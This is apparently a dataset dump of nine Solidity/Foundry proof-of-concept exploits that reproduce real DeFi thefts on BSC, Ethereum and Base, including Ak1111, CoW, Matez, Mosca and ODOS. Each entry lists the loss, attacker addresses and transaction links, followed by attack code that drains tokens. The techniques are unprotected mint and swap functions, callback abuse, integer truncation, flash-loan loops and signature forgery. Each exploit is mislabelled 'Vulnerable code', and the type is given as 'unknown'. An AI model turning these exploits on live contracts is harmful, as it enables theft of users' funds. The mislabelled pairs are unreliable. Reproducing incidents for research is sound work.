Farseen0/scar-pairs huggingface dataset:
HIGH severity: Ak1111 exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 31.5K USD Attacker : https://bscscan.com/address/0xCe21C6e4fa557A9041FA98DFf59A4401Ef0a18aC Attack Contract : https://bscscan.com/address/0xbFD7280B11466bc717EB0053A78675aed2C2E388 Vulnerable Contract : https://bscscan.com/address/0xc3B1b45

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 31.5K USD
// Attacker : https://bscscan.com/address/0xCe21C6e4fa557A9041FA98DFf59A4401Ef0a18aC
// Attack Contract : https://bscscan.com/address/0xbFD7280B11466bc717EB0053A78675aed2C2E388
// Vulnerable Contract : https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963
// Attack Tx : https://bscscan.com/tx/0xc29c98da0c14f4ca436d38f8238f8da1c84c4b1ee6480c4b4facc4b81a013438

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/TenArmorAlert/status/1860554838897197135
// Hacking God : N/A
pragma solidity ^0.8.0;

address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
address constant PANCAKE_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address constant AK1111_ADDR = 0xc3B1b45e5784A8efececfC0BE2E28247d3f49963;
address constant CAKE_LP = 0x794ed5E8251C4A8D321CA263D9c0bC8Ecf5fA1FF;
address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;

contract Ak1111 is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 44280829 - 1;

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = BSC_USD;
    }

    function testExploit() public balanceLog {
        //implement exploit code here
        IAk1111 ak1111 = IAk1111(AK1111_ADDR);
        uint256 ak1111Balance = ak1111.balanceOf(CAKE_LP);

        // this function is lack of access control. anyone call it to mint AK1111 token for free
        ak1111.nonblockingLzReceive1(0, address(this), ak1111Balance, "");

        ak1111.approve(PANCAKE_ROUTER, type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = AK1111_ADDR;
        path[1] = BSC_USD;
        IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(ak1111Balance, 0, path, address(this), block.timestamp);
    }
}

interface IAk1111 is IERC20 {
    function nonblockingLzReceive1(uint16 _srcChainId, address _srcAddress, uint256 _nonce, bytes memory _payload) external;
}


Vulnerability type: unknown
HIGH severity: CoW exploit (unknown). @KeyInfo - Total Lost : 59K Attacker : https://etherscan.io/address/0x00bad13fa32e0000e35b8517e19986b93f000034 Attack Contract : https://etherscan.io/address/0x67004e26f800c5eb050000200075f049aa0090c3 Vulnerable Contract : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41 Attac

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 59K
// Attacker : https://etherscan.io/address/0x00bad13fa32e0000e35b8517e19986b93f000034
// Attack Contract : https://etherscan.io/address/0x67004e26f800c5eb050000200075f049aa0090c3
// Vulnerable Contract : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41
// Attack Tx : https://etherscan.io/tx/0x2fc9f2fd393db2273abb9b0451f9a4830aa2ebd5490d453f1a06a8e9e5edc4f9

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x9008d19f58aabd9ed0d60971565aa8510560ab41

// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1854538807854649791
// Twitter Guy : https://x.com/TenArmorAlert/status/1854538807854649791
// Hacking God : N/A

address constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant attacker = 0x00baD13FA32E0000E35B8517E19986B93F000034;
address constant addr2 = 0xA58cA3013Ed560594557f02420ed77e154De0109;
address constant addr3 = 0x9008D19f58AAbD9eD0D60971565AA8510560ab41;

interface IWETH9 {
    function balanceOf(address) external view returns (uint256);
    function withdraw(uint256) external;
}

interface ICallbackLike {
    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external payable;
}

contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("mainnet", 21135438-1);
    }
    
    function testPoC() public {
        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
        vm.startPrank(attacker, attacker);
        AttackerC attC = new AttackerC();
        attC.attack();
        vm.stopPrank();
        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
    }
}

// 0x67004E26F800c5EB050000200075f049AA0090c3
contract AttackerC {
    receive() external payable {}
    function attack() public payable {
        // call uniswapV3SwapCallback on addr2 with provided args and forward msg.value
        bytes memory data = abi.encode(
            uint256(1976408883179648193852),
            addr3,
            addr1,
            address(this)
        );
        
        ICallbackLike(addr2).uniswapV3SwapCallback(
            -1978613680814188858940,
            5373296932158610028,
            data
        );

        uint256 bal = IWETH9(addr1).balanceOf(address(this));
        IWETH9(addr1).withdraw(bal);
        payable(tx.origin).transfer(address(this).balance); // here, we did not transfer tip to coinbase, all to the attacker
    }
  
    fallback() external payable {}
}

Vulnerability type: unknown
HIGH severity: Matez exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 80k USD Attacker : https://bscscan.com/address/0xd4f04374385341da7333b82b230cd223143c4d62 Attack Contract : https://bscscan.com/address/0x0aD02ce1b8EB978FD8dc4abeC5bf92Dfa81Ed705 Vulnerable Contract : https://bscscan.com/address/0x326FB70eF

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : 80k USD
// Attacker : https://bscscan.com/address/0xd4f04374385341da7333b82b230cd223143c4d62
// Attack Contract : https://bscscan.com/address/0x0aD02ce1b8EB978FD8dc4abeC5bf92Dfa81Ed705
// Vulnerable Contract : https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa
// Attack Tx : https://bscscan.com/tx/0x840b0dc64dbb91e8aba524f67189f639a0bc94ee9256c57d79083bb3fd46ec91

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa#code

// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/TenArmorAlert/status/1859830885966905670
// Hacking God : N/A
pragma solidity ^0.8.0;

address constant MATEZ_STAKING_PROG = 0x326FB70eF9e70f8f4c38CFbfaF39F960A5C252fa;
address constant MATEZ_TOKEN = 0x010C0D77055A26D09bb474EF8d81975F55bd8Fc9;

contract Matez is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 44222632 - 1;

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = MATEZ_TOKEN;
    }

    function testExploit() public balanceLog {
        //implement exploit code here

        // due to the integer truncation problem, the following number will be truncated to 0,
        // This flaw allowed the attacker to transfer a zero amount of tokens while 
        // being recognized by the contract as having staked a large amount. 
        uint256 amount = 340282366920938463463374607431768211456;
        IMatez matez = IMatez(MATEZ_STAKING_PROG);

        // register current contract
        address sponsor = 0x80d93e9451A6830e9A531f15CCa42Cb0357D511f;
        matez.register(sponsor);
        matez.stake(amount);

        // create enough referrals to enable claim
        for (uint256 i = 0; i < 25; i++) {
            new AttackContract(address(this), amount);
        }

        // claim free MATEZ token and sell it later
        IMatez(MATEZ_STAKING_PROG).claim(uint40(3), uint40(1), 0);

        // keep repeat this process to get more MATEZ token for free
    }
}

contract AttackContract {
    constructor(address sponsor, uint256 amount) {
        IMatez matez = IMatez(MATEZ_STAKING_PROG);
        matez.register(sponsor);
        matez.stake(amount);
    }
}

interface IMatez {
    function register(address _sponsor) external;
    function stake(uint256 amnt) external;
    function claim(uint40 typ, uint40 pkgid, uint256 amount) external;
}


Vulnerability type: unknown
HIGH severity: VRug exploit (unknown). @KeyInfo - Total Lost : 8.4K Attacker : Attack Contract : Vulnerable Contract : Attack Tx : https://etherscan.io/tx/0x5e151627dc06ec4f2db5be2f48248f320ad3450aba42b1bbd00131bcbaa4f0ae @Info Vulnerable Contract Code : @Analysis Post-mortem : https://x.com/TenArmorAlert/status/1854702463737380958 Twitt

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 8.4K
// Attacker : 
// Attack Contract : 
// Vulnerable Contract : 
// Attack Tx : https://etherscan.io/tx/0x5e151627dc06ec4f2db5be2f48248f320ad3450aba42b1bbd00131bcbaa4f0ae

// @Info
// Vulnerable Contract Code : 

// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1854702463737380958
// Twitter Guy : https://x.com/TenArmorAlert/status/1854702463737380958
// Hacking God : N/A

address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant attacker = 0x080086911D8c78008800FAE75871a657b77d0082;
address constant mev = 0x0000E0Ca771e21bD00057F54A68C30D400000000;
address constant univ2 = 0x8Cc0c46000A6a4097F9C62293CE62eE5B81E6dfd;

contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("mainnet", 21138659);
    }
    
    function testPoC() public {
        vm.startPrank(attacker, attacker);
        deal(weth9, address(univ2), 3208323423502347412);
        emit log_named_decimal_uint("before attack: balance of mev", IERC20(weth9).balanceOf(mev), 18);
        IUniswapV2Pair(univ2).swap(2903872687851807969, 0, address(mev), "");
        emit log_named_decimal_uint("after attack: balance of mev", IERC20(weth9).balanceOf(mev), 18);
        vm.stopPrank();
    }
}

Vulnerability type: unknown
HIGH severity: X319 exploit (unknown). @KeyInfo - Total Lost : 12.9k USD Attacker : https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca Attack Contract : https://bscscan.com/address/0x54588267066ddbc6f8dcd724d88c25e2838b6374 Vulnerable Contract : https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0 At

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 12.9k USD
// Attacker : https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca
// Attack Contract : https://bscscan.com/address/0x54588267066ddbc6f8dcd724d88c25e2838b6374
// Vulnerable Contract : https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x679028cb0a5af35f57cbea120ec668a5caf72d74fcc6972adc7c75ef6c9a9092

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0

// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1855263208124416377
// Twitter Guy : https://x.com/TenArmorAlert/status/1855263208124416377
// Hacking God : N/A

address constant addr1 = 0xedD632eAf3b57e100aE9142e8eD1641e5Fd6b2c0;
address constant addr2 = 0x54588267066dDBC6f8Dcd724D88C25e2838B6374;
address constant attacker = 0xE60329A82C5aDD1898bA273FC53835Ac7e6fD5cA;

interface IAddr1 {
    function claimEther(address receiver, uint256 amount) external;
}

contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("bsc", 43860720-1);
    }
    
    function testPoC() public {
        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
        vm.startPrank(attacker, attacker);
        AttackerC attC = new AttackerC();
        vm.stopPrank();
        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
    }
}

// 0x54588267066dDBC6f8Dcd724D88C25e2838B6374
contract AttackerC {
    constructor() { IAddr1(addr1).claimEther(tx.origin, 2085 * 10**16); } 
}

Vulnerability type: unknown
HIGH severity: Pledge exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 15K Attacker : https://bscscan.com/address/0x59367b057055fd5d38ab9c5f0927f45dc2637390 Attack Contract : https://bscscan.com/address/0x4aa0548019bfecd343179d054b1c7fa63e1e0b6c Vulnerable Contract : https://bscscan.com/address/0x061944c0f3c2d

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : 15K
// Attacker : https://bscscan.com/address/0x59367b057055fd5d38ab9c5f0927f45dc2637390
// Attack Contract : https://bscscan.com/address/0x4aa0548019bfecd343179d054b1c7fa63e1e0b6c
// Vulnerable Contract : https://bscscan.com/address/0x061944c0f3c2d7dabafb50813efb05c4e0c952e1
// Attack Tx : https://bscscan.com/tx/0x63ac9bc4e53dbcfaac3a65cb90917531cfdb1c79c0a334dda3f06e42373ff3a0

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x061944c0f3c2d7dabafb50813efb05c4e0c952e1#code

// @Analysis
// Post-mortem : 
// Twitter Guy : 
// Hacking God : 
pragma solidity ^0.8.0;

import "../interface.sol";

interface IPledge {
    function swapTokenU(uint256 amount, address _target) external;
}

contract Pledge is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 44_555_337;
    address internal constant pledge =  0x061944c0f3c2d7DABafB50813Efb05c4e0c952e1;
    address internal constant MFT = 0x4E5A19335017D69C986065B21e9dfE7965f84413;
    address internal constant BUSD = 0x55d398326f99059fF775485246999027B3197955;

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        deal(BUSD, address(this), 0);
        fundingToken = address(BUSD);
    }

    function testExploit() public balanceLog {
        uint256 amount = IERC20(MFT).balanceOf(pledge);
        address _target = address(this);
        IPledge(pledge).swapTokenU(amount, _target);
    }
}


Vulnerability type: unknown
HIGH severity: 98Token exploit (unknown). SPDX-License-Identifier: UNLICENSED reason : Unprotected public function guy    : https://x.com/TenArmorAlert/status/1875462686353363435 tx     : https://app.blocksec.com/explorer/tx/bsc/0x61da5b502a62d7e9038d73e31ceb3935050430a7f9b7e29b9b3200db3095f91d total loss : 28kusdt

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// reason : Unprotected public function
// guy    : https://x.com/TenArmorAlert/status/1875462686353363435
// tx     : https://app.blocksec.com/explorer/tx/bsc/0x61da5b502a62d7e9038d73e31ceb3935050430a7f9b7e29b9b3200db3095f91d
// total loss : 28kusdt

contract ContractTest is Test {
    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    Uni_Pair_V3 pool = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
    Uni_Pair_V2 pair = Uni_Pair_V2(0x5E901164858d75852EF548B3729f44Dd93209c9c);
    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Router_V3 routerV3 = Uni_Router_V3(0x1b81D678ffb9C0263b24A97847620C99d213eB14);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 token_98 = IERC20(0xc0dDfD66420ccd3a337A17dD5D94eb54ab87523F);
    address swapContract = 0xB040D88e61EA79a1289507d56938a6AD9955349C;


    function setUp() external {
        cheats.createSelectFork("bsc", 45462898-1);
        deal(address(USDT), address(this), 0);
        // deal(address(WBNB), address(this), 11 ether);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
        uint256 token_amount = token_98.balanceOf(swapContract);
        address[] memory path = new address[](2);
        path[0] = address(token_98);
        path[1] = address(USDT);
        
        bytes memory callData = abi.encodeWithSignature(
            "swapTokensForTokens(address[],uint256,uint256,address)",
            path,
            token_amount,
            0,
            address(this)
        );
        
        (bool success,) = swapContract.call(callData);
        require(success, "swap failed");
        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
    }


    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Mosca exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 19K Attacker : https://bscscan.com/address/0xb7d7240c207e094a9be802c0f370528a9c39fed5 Attack Contract : https://bscscan.com/address/0x851288dcfb39330291015c82a5a93721cc92507a Vulnerable Contract : https://bscscan.com/address/0x1962b3356122d

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : 19K
// Attacker : https://bscscan.com/address/0xb7d7240c207e094a9be802c0f370528a9c39fed5
// Attack Contract : https://bscscan.com/address/0x851288dcfb39330291015c82a5a93721cc92507a
// Vulnerable Contract : https://bscscan.com/address/0x1962b3356122d6a56f978e112d14f5e23a25037d
// Attack Tx : https://bscscan.com/tx/0x4e5bb7e3f552f5ee6ee97db9a9fcf07287aae9a1974e24999690855741121aff

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x1962b3356122d6a56f978e112d14f5e23a25037d#code

// @Analysis
// Post-mortem : 
// Twitter Guy : 
// Hacking God : 
pragma solidity ^0.8.0;

import "../interface.sol";

interface IMosca {
    function join(uint256 amount, uint256 _refCode, uint8 fiat, bool enterpriseJoin) external;
    function buy(uint256 amount, bool buyFiat, uint8 fiat) external;
    function exitProgram() external;
}


contract Mosca is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 45_519_929;

    address internal constant USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
    address internal constant MOSCA = 0x1962b3356122d6A56f978e112d14f5E23a25037D;
    address internal constant PancakePool = 0x92b7807bF19b7DDdf89b706143896d05228f3121;


    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        deal(USDC, address(this), 30_000_000_000_000_000_000);
        fundingToken = address(USDC);
    }

    function testExploit() public balanceLog {
        IERC20(USDC).approve(MOSCA, type(uint256).max);

        uint256 amount = 30_000_000_000_000_000_000;
        uint256 refCode = 0;
        uint8 fiat = 2;
        bool enterpriseJoin = false;
        IMosca(MOSCA).join(amount, refCode, fiat, enterpriseJoin);

        address recipient = address(this);
        uint256 amount0 = 0;
        uint256 amount1 = 1_000_000_000_000_000_000_000;
        bytes memory data = abi.encode(amount1);
        IPancakeV3Pool(PancakePool).flash(recipient, amount0, amount1, data);
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {
        (uint256 amount) = abi.decode(data, (uint256));
        IMosca(MOSCA).buy(amount, true, 2);
        IMosca(MOSCA).exitProgram();
        
        uint256 joinAmount = 30_000_000_000_000_000_000;
        
        for(uint256 i=0;i<20;i++) {
            IMosca(MOSCA).join(joinAmount, 0, 2, false);
            IMosca(MOSCA).exitProgram();
        }

        IERC20(USDC).transfer(msg.sender, amount+fee1);
    }
}


Vulnerability type: unknown
HIGH severity: ODOS exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~50k Attacker : https://basescan.org/address/0x4015d786e33c1842c3e4d27792098e4a3612fc0e Attack Contract : https://basescan.org/address/0x22a7da241a39f189a8aec269a6f11a238b6086fc Vulnerable Contract : https://basescan.org/address/0xb6333e994

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~50k
// Attacker : https://basescan.org/address/0x4015d786e33c1842c3e4d27792098e4a3612fc0e
// Attack Contract : https://basescan.org/address/0x22a7da241a39f189a8aec269a6f11a238b6086fc
// Vulnerable Contract : https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7
// Attack Tx : https://basescan.org/tx/0xd10faa5b33ddb501b1dc6430896c966048271f2510ff9ed681dd6d510c5df9f6

// @Info
// Vulnerable Contract Code : https://basescan.org/address/0xb6333e994fd02a9255e794c177efbdeb1fe779c7#code

// @Analysis
// Post-mortem : 
// Twitter Guy : https://x.com/Phalcon_xyz/status/1882630151583981787
// Hacking God : 

interface OdosLimitOrderRouter {
    function isValidSigImpl(
        address _signer,
        bytes32 _hash,
        bytes calldata _signature,
        bool allowSideEffects
    ) external returns (bool);
}

contract ContractTest is Test {
    OdosLimitOrderRouter odosLimitOrderRouterInstance =
        OdosLimitOrderRouter(0xB6333E994Fd02a9255E794C177EfBDEB1FE779C7);
    IUSDC USDCInstance = IUSDC(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);

    bytes32 ERC6492_DETECTION_SUFFIX = bytes32(hex"6492649264926492649264926492649264926492649264926492649264926492");

    function setUp() public {
        vm.createSelectFork("base", 25431001 - 1);

        vm.label(address(odosLimitOrderRouterInstance), "OdosLimitOrderRouter");
        vm.label(address(USDCInstance), "USDC");
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "[Start] Attacker USDC balance before exploit",
            USDCInstance.balanceOf(address(this)),
            6
        );

        uint256 victimUSDCBalance = USDCInstance.balanceOf(address(odosLimitOrderRouterInstance));

        bytes memory customCalldata = abi.encodeCall(IUSDC.transfer, (address(this), victimUSDCBalance));
        bytes memory signature = abi.encodePacked(
            abi.encode(address(USDCInstance), customCalldata, bytes(hex"01")),
            ERC6492_DETECTION_SUFFIX
        );

        odosLimitOrderRouterInstance.isValidSigImpl(address(0x04), bytes32(0x0), signature, true);

        emit log_named_decimal_uint(
            "[End] Attacker USDC balance before exploit",
            USDCInstance.balanceOf(address(this)),
            6
        );
    }
}


Vulnerability type: unknown